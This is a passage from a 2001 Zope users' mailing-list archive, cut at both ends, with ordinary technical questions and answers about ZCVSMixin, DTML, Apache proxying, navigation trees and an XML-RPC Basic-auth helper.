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 ------=_NextPart_000_0038_01C0D2FC.66227660-- From itai@optusnet.com.au Wed May 2 07:09:13 2001 From: itai@optusnet.com.au (Itai Tavor) Date: Wed, 2 May 2001 16:09:13 +1000 Subject: [Zope] Need some help with ZCVSMixin Message-ID: Hi, I finally decided it's time to get acquainted with ZCVSMixin, mainly because I was looking for a way to sync a project between a development and a production server. But I'm having problems getting started with it. I started a new project, checked it out to /home/itai/workspace/MyProject, created a CVS Folder instance in Zope in the MyProject folder, and then created and checked in some files and folders. No problems here, except for some trouble doing commits. Checkins work fine, but commit just hangs forever. I'm not sure I get commit at all - why is it such a long procedure? To do a commit I need to first click "Force Obj->File" and then select "commit" and click "Admin Function", whereas checkin is a one-click action. Anyway, I then wanted to see how I would use ZCVSMixin to update a production server. So I checked out a new copy of the project ( cd /home/itai/test; cvs co MyProject ), created a Test folder in Zope, added a CVS Folder to it and set its file system root to /home/itai/test/MyProject. Then I viewed the CVS object CVS Status page. I expected to see the objects that I checked out, but I saw nothing. Then, I created a new folder under MyProject, and tried to add a CVS Folder to it, but got errno 13, even though /home/itai/test/MyProject is owned by nobody, which is also the user running Zope. So: following the instruction in the ZCVSMixin README I can get a CVS-controlled folder working, although I can't commit anything in it, and I can do nothing with a new checkout copy of the project. What am I doing wrong? One other question, just in case I manage to solve these problems: I want to CVS the ZClasses in a Product along with the project folder, and it would be nice if they were both stored in the same repository branch. How should I set up the CVS Folder for the Product? I set it to use /home/itai/MyProject/Product. Is that a good idea? TIA Itai -- -- Itai Tavor -- "Je sautille, donc je suis." -- itai@optusnet.com.au -- - Kermit the Frog -- -- 'Supposing a tree fell down, Pooh, when we were underneath it?' -- -- 'Supposing it didn't,' said Pooh after careful thought. -- From patrick@eahd.or.ug Wed May 2 07:38:27 2001 From: patrick@eahd.or.ug (Patrick) Date: Wed, 2 May 2001 09:38:27 +0300 (EAT) Subject: [Zope] executing dynamically generated code (eval)? In-Reply-To: <988748185.3aef199921add@marcus.localguru.de> Message-ID: I thought that it was *not* possible to nest dtml like that meaning that you might have to use the python eval ... or am I missing something here? Patrick. On Tue, 1 May 2001, Marcus Schopen wrote: > Hi there, > > is there a kind of dtml-eval command? > > I'd like to execute dynamicly generated code like: > >. > > Thank you > Marcus > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From tino@wildenhain.de Wed May 2 07:45:21 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Wed, 02 May 2001 08:45:21 +0200 Subject: [Zope] executing dynamically generated code (eval)? In-Reply-To: <988748185.3aef199921add@marcus.localguru.de> Message-ID: <950643600.988793121@BUZZER> Hi Marcus, for security reasons there is none :-) What do you want to achieve? Regards Tino --On Dienstag, 1. Mai 2001 22:16 +0200 Marcus Schopen wrote: > Hi there, > > is there a kind of dtml-eval command? > > I'd like to execute dynamicly generated code like: > >. > > Thank you > Marcus > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tim@freepm.org Wed May 2 07:57:37 2001 From: tim@freepm.org (Tim Cook) Date: Wed, 02 May 2001 01:57:37 -0500 Subject: [Zope] executing dynamically generated code (eval)? References: <988748185.3aef199921add@marcus.localguru.de> Message-ID: <3AEFAFE1.33CC53A3@iswt.com> Marcus Schopen wrote: > > Hi there, > > is there a kind of dtml-eval command? > > I'd like to execute dynamicly generated code like: > >. > AFAIK that is restricted for security reasons. Depending on exactly what you want to do, you can dynamically create javascript and execute it. In FreePM I create the patient note by selecting text stubs with checkboxes, radio buttons, etc. Then send that to a JS function that writes it to a textarea. Is that like what you want to do? HTH, -- Tim Cook, President - FreePM,Inc. http://www.FreePM.com Office: (731) 884-4126 ONLINE DEMO: http://www.freepm.org:8080/FreePM From jasonic@nomadicsltd.com Wed May 2 08:17:44 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Wed, 2 May 2001 03:17:44 -0400 Subject: [Zope] SiteAccess and broken manage links Message-ID: <000901c0d2d7$fbfc6e40$c3090740@megapathdsl.net> Hello Zope2.3.2 Apache1.3 on Redhat6.2 SiteAccess ProxyPass combo as described by 'anser' in famous How-to http://www.zope.org/Members/anser/apache_zserver Zope is reached at http://www.mysite.com/zope Apache Directive looks like this: ServerName http://www.mysite.com ProxyPass /zope http://www.mysite.com:8888/ ProxyPassReverse /zope http://www.mysite.com:8888/ ProxyPass /misc_ http://www.mysite.com:8888/misc_ ProxyPass /p_ http://www.mysite.com:8888/p_ Ok so everything* is working fine _except_ the breadcrumb links into top of the main big Zope management window. All links from there are always missing /zope after the domain and before whatever method or object they call. Tabs work, trees work.. *[but one product 'JavaTelnetSSH' has a broken icon also. works well but looks messy&puts clients off] Q: What can I add to make this work coreectly? Is this a job for SiteAccessRule. I played with it.. fascinating dangerous stuff. How to write a rule which knows it is being called from that part of the management window and can insert a /zope? Or is there a simpler solutino use ProxyPass? Is this a b u g? Thanks - Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From chris@7th-halo.com Wed May 2 08:30:32 2001 From: chris@7th-halo.com (Chris Pedrotti) Date: Wed, 2 May 2001 00:30:32 -0700 Subject: [Zope] Accessing folders Message-ID: <000b01c0d2d9$c5815ea0$6e01a8c0@pacbell.net> I'm new to all this, so please be patient. What I am doing at the moment is using to construct an html form of catagories for users to submit images to. I was setting the value of the radio buttons to tree-item-url and then hoping that I could just replace all '/' to '.' to access the folder that I wanted to image submitted to, and call manage_addImage. I was using to assign a var to the folder url with the .'s and then calling Not working. Could anyone please point me in the right direction? Thanks. -Chris From kedai@kedai.com.my Tue May 1 08:23:31 2001 From: kedai@kedai.com.my (bak (kedai)) Date: Tue, 1 May 2001 15:23:31 +0800 Subject: [Zope] getitem in pythonscript Message-ID: <01050115233102.00745@tokey> hi what's the equivalent of _.getitem(stuff) in python script? the only way i know of is by binding _, and refer to it as ob=_.getitem(stuff) is this the *only* way? thanks From augusto@artlover.com Wed May 2 08:29:17 2001 From: augusto@artlover.com (Ausum) Date: Wed, 02 May 2001 02:29:17 -0500 Subject: [Zope] executing dynamically generated code (eval)? References: <988748185.3aef199921add@marcus.localguru.de> Message-ID: <3AEFB74D.7D691DC5@artlover.com> You may try either one of these: getitem is a method of the special namespace variable, _ , and besides of the name argument it accepts a flag (1 or 0). When true, the current 'any_method' will be called and processed, if has logic within, and the result will be returned. When false, only the plain content of the method is returned. Ausum Marcus Schopen wrote: > > Hi there, > > is there a kind of dtml-eval command? > > I'd like to execute dynamicly generated code like: > >. > > Thank you > Marcus > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From Dominique.Dutoit@cec.eu.int Wed May 2 08:39:25 2001 From: Dominique.Dutoit@cec.eu.int (Dominique.Dutoit@cec.eu.int) Date: Wed, 2 May 2001 09:39:25 +0200 Subject: [Zope] Zope management screens and OmniWeb (on OS X) Message-ID: <51D6FF030F6ED411993000D0B7823C06010A56@EX2BEBREYMBX04> Same problem here. But I think that the problem is elsewhere because I don't have any problem to manage my personal folder on zope.org with OmniWeb. Maybe the problem is authenticating an user when there is a port number in the URL. Or the way zope.org does the authentication is more friendly that the authentication window. I have tried to run zope on a port 80 but Python refused to bind the port and I'm sure that Apache is not running. It seems that Mac OS X protects some resources. By the way, iCab has exactly the same problem and yet, it works with the personal folder. Dominique From fredrik.rubinstein@ivf.se Wed May 2 08:48:47 2001 From: fredrik.rubinstein@ivf.se (Rubinstein Fredrik) Date: Wed, 2 May 2001 09:48:47 +0200 Subject: [Zope] "Add local filesystem" Message-ID: <31E69B0E4B9CD01181A800805FA6B0A202826FD9@david.ivf.se> Hi there, This is extremly anoying since I've done this before but forgot how-to. On a NT-box I want to add a local filesystem using UNC notation. I try out something like this. ID: Kalle Title: Basepath: \\Cpqp21-32\Dokument ( Cpqp21-32 is the server and Dokument is the share ) Username kalle Password ****** And I keep getting the same error Zope Error Zope has encountered an error while publishing this resource. Error Type: OSError Error Value: [Errno 2] No such file or directory: '\\\\Cpqp21-32\\Dokument' Can You please help me. This time around I'm to write the solution on my officewall with a nonerasable marker pen. Cheers Fredrik From itai@optusnet.com.au Wed May 2 08:59:22 2001 From: itai@optusnet.com.au (Itai Tavor) Date: Wed, 2 May 2001 17:59:22 +1000 Subject: [Zope] Punished for upgrading to 2.3.2: ZPatterns broke Message-ID: Hi, I shut down a Zope instance using Zope 2.3.1, and started it again with 2.3.2. When I tried to access objects on a rack, I got an AttributeError: _setRack. I went back to 2.3.1, but I still get the same error. Ok, I can take a hint. Somebody doesn't want me to use Zope 2.3.2. All right, I won't. But my project is still hosed. So now I got to restore a backup and lose a day's work. Is anyone else aware of upgrde problems with ZPatterns? Itai -- -- Itai Tavor -- "Je sautille, donc je suis." -- itai@optusnet.com.au -- - Kermit the Frog -- -- 'Supposing a tree fell down, Pooh, when we were underneath it?' -- -- 'Supposing it didn't,' said Pooh after careful thought. -- From hofmann@isl.org Wed May 2 09:02:37 2001 From: hofmann@isl.org (Kai Hofmann) Date: Wed, 2 May 2001 10:02:37 +0200 Subject: [Zope] dtml-in and objectValues() Message-ID: <3AEFDAFF.20437.2BA2E002@localhost> I am successfully using .... now I wanted to do something like i.e. only select objects from the subfolder with a name ending in "_de" how can this be done - I can not find any hint within the Zope docs/howto= s :(((( Thanks Kai --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From joe@iuveno-net.de Wed May 2 09:10:09 2001 From: joe@iuveno-net.de (Joachim Werner) Date: Wed, 2 May 2001 10:10:09 +0200 Subject: [Zope] parsing xml files References: Message-ID: <005601c0d2df$4e259640$0200a8c0@iuvenonet.de> ParsedXML should do what you want: http://www.zope.org/Members/karl/ParsedXML/ParsedXML From alet@unice.fr Wed May 2 09:09:59 2001 From: alet@unice.fr (Jerome Alet) Date: Wed, 2 May 2001 10:09:59 +0200 (MET DST) Subject: [Zope] dtml-in and objectValues() In-Reply-To: <3AEFDAFF.20437.2BA2E002@localhost> Message-ID: On Wed, 2 May 2001, Kai Hofmann wrote: > I am successfully using > > > .... > > > now I wanted to do something like > > > > i.e. only select objects from the subfolder with a name ending in "_de" > how can this be done - I can not find any hint within the Zope docs/howtos > :(((( objectValues accepts a list of meta types to search for, but not a pattern, e.g.: objectValues(['Folder', 'Image']) is accepted. what you have to do is something like: do_something hoping this helps Jerome Alet From crb@uni-hd.de Wed May 2 09:13:42 2001 From: crb@uni-hd.de (Carl Robert Blesius) Date: Wed, 2 May 2001 10:13:42 +0200 Subject: [Zope] Re: Zope digest, Vol 1 #1363 - 51 msgs In-Reply-To: Message-ID: <3AEFDDD6.2612.123004B7@localhost> Hello Zopeople, I found the menu suggestion below by Tino very good (exactly what I have been trying to do for the last week). I would like to modify it slightly though=85 and can not get it to work. Can someone please help me out? How do I traverse the folder hierarchy of zope stopping at the first object with the property menue_root (I have it built into a folder like ZClass). I am trying to search *upwards* until I find the first object with a menu_root property (I want to make the sidebar menu start at a folder below root for departments of my faculty below the central pages)? Carl On 30 Apr 2001, at 20:27, zope-request@zope.org wrote: > Message: 48 > Date: Tue, 01 May 2001 02:22:45 +0200 > From: Tino Wildenhain > To: Robert Segall , zope@zope.org > Subject: Re: [Zope] dtml-tree info > > Hi Robert, > > I do this and I dont use the tree-tag at all anymore. > The trick is to organisate your site hierarchically. > I do only folder-like objects with one content-object > (or property or whatever). > So the site is simply a tree of folderobjects (not folder > itself but a subclass (or more then one subclass of it)) > Then a simple method can render the navigation: > (lets call it navigation) > > > > > > > > > > This is the very simple approach, you can make more > design if you want. The trick is "sequence_item in PARENTS" > which is true if the actual object is in your URL path. > This way the tree shows your current navigation without > bothering to save the treestate or bother the user with ugly > cookies and/or URLs. > > I have to mention you must call this "navigation" method > inside a index_html method or something you let acquisite. > Call is there like that: > > > > > > To start the tree at the root. > > Oh, you have to use "_['sequence-item'] ... " and stuff if > you dont use my dtml-in replacement. > > HTH > Tino Wildenhain > > --On Montag, 30. April 2001 20:37 +0200 Robert Segall > wrote: > > > Hope someone has already run into this: I need to be able to control > > the tree display state from dtml and I can't find any info on the > > subject. > > > > The "normal" tree display has the "+" (or "-") part, with its own > > URL that includes an encoded argument, and the user-defined part. At > > the very least I would like to be able to mimic the behaviour of the > > "+" by clicking on the "user" part (which I make into a link by > > myself). To make matters worse, this link may take me to another > > object (page). > > > > Ideally, I would like to be able to control the display behaviour - > > saying which branch(es) are to be shown open and which closed, and > > to which level, within the page itself. > > > > Any pointers would be greatly appreciated. Tnx, > > > > Robert From lehmann@catworkx.de Wed May 2 09:16:56 2001 From: lehmann@catworkx.de (Holger Lehmann) Date: Wed, 2 May 2001 10:16:56 +0200 Subject: [Zope] XML-RPC over SSL In-Reply-To: References: Message-ID: <01050210165600.00484@cat-pc-holle> --------------Boundary-00=_8C8PXJ8TC4ZMFJ1R95T8 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Petr, use the attached xmlrpcauth.py file as follows: --------------------------- import xmlrpcauth import xmlrpclib =20 mytransport =3D xmlrpcauth.BasicAuthTransport("username","password"); rpcserver =3D xmlrpclib.Server("http://hostname:portnumber/",mytranspor= t); print rpcserver.echo("Hello World!"); --------------------------- This was done using the 0.9.8 of xmlrpclib.py available from http://www.pythonware.com/products/xmlrpc/ (well they have 0.9.9 by now .= =2E.) It does not support https as of now but does basic user authentication (i= n=20 the http header). If you change the xmlrpcauth file to use a https-able lib instead of the=20 httlib imported at the very first line of the xmlrpcauth.py file: --- import string, xmlrpclib, httplib=20 --- then you will be able to use ssl encrpyted http. - Holger Am Dienstag, 1. Mai 2001 20:19 schrieb Michel Pelletier: > On 27 Apr 2001, Petr Knapek wrote: > > Hi Zopists, > > does anybody of you know how to do "subject" in Zope 2.3.0 (2.3.1) on > > Linux Debian. > > > > I have already installed M2Crypto but do not know how to use it. Whe= n I > > tried this in python: > > > > from M2Crypto import xmlrpclib2 > > s =3D xmlrpclib2.Server("https://uid:password@host/") > > print s.index_html() > > > > this error is returned: > > >>> print s.index_html() > > > > Traceback (innermost last): > > File "", line 1, in ? > > File "/usr/lib/zope/lib/python/xmlrpclib.py", line 547, in __call__ > > return self.__send(self.__name, args) > > File "/usr/lib/zope/lib/python/xmlrpclib.py", line 630, in __reques= t > > request > > File "/usr/lib/zope/lib/python/xmlrpclib.py", line 560, in request > > h =3D httplib.HTTP(host) > > File "/usr/lib/python1.5/httplib.py", line 51, in __init__ > > if host: self.connect(host, port) > > File "/usr/lib/python1.5/httplib.py", line 75, in connect > > raise socket.error, "nonnumeric port" > > socket.error: nonnumeric port > > > > > > Can anybody help me? > > xmlrpclib does not understand the uid:password@url syntax. This is not > how you do authentication with xmlrpclib, you need to subclass and crea= te > your own transport. The new xmlrpclib should come with a transport tha= t > supports Basic authentication. See the xmlrpclib sources or the xmlrpc= lib > mailing list for more info. > > -Michel > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) --=20 ----------------------------------- catWorkX GmbH Dipl.-Ing. Holger Lehmann Stresemannstr. 364 22761 Hamburg Tel: +49 (0700) catWorkX Tel: +49 (40) 890 646-0 Fax: +49 (40) 890 646-66 mailto:lehmann@catworkx.de http://www.catworkx.de http://www.catbridge.de --------------Boundary-00=_8C8PXJ8TC4ZMFJ1R95T8 Content-Type: text/x-java; charset="iso-8859-1"; name="xmlrpcauth.py" Content-Transfer-Encoding: base64 Content-Description: Basic Authentication Module for xmlrpc Content-Disposition: attachment; filename="xmlrpcauth.py" aW1wb3J0IHN0cmluZywgeG1scnBjbGliLCBodHRwbGliCmZyb20gYmFzZTY0IGltcG9ydCBlbmNv ZGVzdHJpbmcKIApjbGFzcyBCYXNpY0F1dGhUcmFuc3BvcnQoeG1scnBjbGliLlRyYW5zcG9ydCk6 CiAgICBkZWYgX19pbml0X18oc2VsZiwgdXNlcm5hbWU9Tm9uZSwgcGFzc3dvcmQ9Tm9uZSk6CiAg ICAgICAgc2VsZi51c2VybmFtZT11c2VybmFtZQogICAgICAgIHNlbGYucGFzc3dvcmQ9cGFzc3dv cmQKIAogICAgZGVmIHJlcXVlc3Qoc2VsZiwgaG9zdCwgaGFuZGxlciwgcmVxdWVzdF9ib2R5KToK ICAgICAgICAjIGlzc3VlIFhNTC1SUEMgcmVxdWVzdAogCiAgICAgICAgaCA9IGh0dHBsaWIuSFRU UChob3N0KQogICAgICAgIGgucHV0cmVxdWVzdCgiUE9TVCIsIGhhbmRsZXIpCiAKICAgICAgICAj IHJlcXVpcmVkIGJ5IEhUVFAvMS4xCiAgICAgICAgaC5wdXRoZWFkZXIoIkhvc3QiLCBob3N0KQog CiAgICAgICAgIyByZXF1aXJlZCBieSBYTUwtUlBDCiAgICAgICAgaC5wdXRoZWFkZXIoIlVzZXIt QWdlbnQiLCBzZWxmLnVzZXJfYWdlbnQpCiAgICAgICAgaC5wdXRoZWFkZXIoIkNvbnRlbnQtVHlw ZSIsICJ0ZXh0L3htbCIpCiAgICAgICAgaC5wdXRoZWFkZXIoIkNvbnRlbnQtTGVuZ3RoIiwgc3Ry KGxlbihyZXF1ZXN0X2JvZHkpKSkKIAogICAgICAgICMgYmFzaWMgYXV0aAogICAgICAgIGlmIHNl bGYudXNlcm5hbWUgaXMgbm90IE5vbmUgYW5kIHNlbGYucGFzc3dvcmQgaXMgbm90IE5vbmU6CiAg ICAgICAgICAgIGgucHV0aGVhZGVyKCJBVVRIT1JJWkFUSU9OIiwgIkJhc2ljICVzIiAlIHN0cmlu Zy5yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgIGVuY29kZXN0cmluZygiJXM6JXMiICUgKHNl bGYudXNlcm5hbWUsIHNlbGYucGFzc3dvcmQpKSwKICAgICAgICAgICAgICAgICAgICAiXDAxMiIs ICIiKSkKICAgICAgICBoLmVuZGhlYWRlcnMoKQogCiAgICAgICAgaWYgcmVxdWVzdF9ib2R5Ogog ICAgICAgICAgICBoLnNlbmQocmVxdWVzdF9ib2R5KQogCiAgICAgICAgZXJyY29kZSwgZXJybXNn LCBoZWFkZXJzID0gaC5nZXRyZXBseSgpCiAKICAgICAgICBpZiBlcnJjb2RlICE9IDIwMDoKICAg ICAgICAgICAgcmFpc2UgeG1scnBjbGliLlByb3RvY29sRXJyb3IoCiAgICAgICAgICAgICAgICBo b3N0ICsgaGFuZGxlciwKICAgICAgICAgICAgICAgIGVycmNvZGUsIGVycm1zZywKICAgICAgICAg ICAgICAgIGhlYWRlcnMKICAgICAgICAgICAgICAgICkKIAogICAgICAgIHJldHVybiBzZWxmLnBh cnNlX3Jlc3BvbnNlKGguZ2V0ZmlsZSgpKSAK --------------Boundary-00=_8C8PXJ8TC4ZMFJ1R95T8-- From stephan.goeldi@datacomm.ch Wed May 2 09:20:47 2001 From: stephan.goeldi@datacomm.ch (Stephan Goeldi) Date: Wed, 02 May 2001 08:20:47 Subject: [Zope] phpWebEd Message-ID: Hello all What do you think about phpWebEd on http://www.nm-service.de/products.html?pid=pwe Is this usable under Zope? _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. From joe@iuveno-net.de Wed May 2 09:26:18 2001 From: joe@iuveno-net.de (Joachim Werner) Date: Wed, 2 May 2001 10:26:18 +0200 Subject: [Zope] [Ann] emulateRedirect: emulates redirection inside Zope References: <200105011902.VAA02120@lindm.dm> Message-ID: <006801c0d2e1$9055f1c0$0200a8c0@iuvenonet.de> > The common task: > > A user fills a form and submits it. The submitted data is checked > and if problems are detected, the user gets its > original form together with a problem indication > *AND* his already filled in data. > > is not yet well supported. > > A redirection to the form suffers from browser differences > in the handling of the old request data and > the difficulty to add all of them into the redirected > URL. I always used an approach like this (only works with some session management to get persistence of course): This is a pure example, so don't look at the details ;-) In the form I have: *** check the data here, display the errors if necessary; if no errors, save the data and redirect to the thankyou page *** in the form, the variables are all called from the session ("" to make sure there is no error if it was empty) I call the form in the action method (by just not specifying an action). So there is a loop until everything is fine. One could also do the same by redirecting back to the form if there is an error found by the action method. As long as the fields are prefilled by Zope, I don't think the browser issue applies. Can anybody comment whether this or the 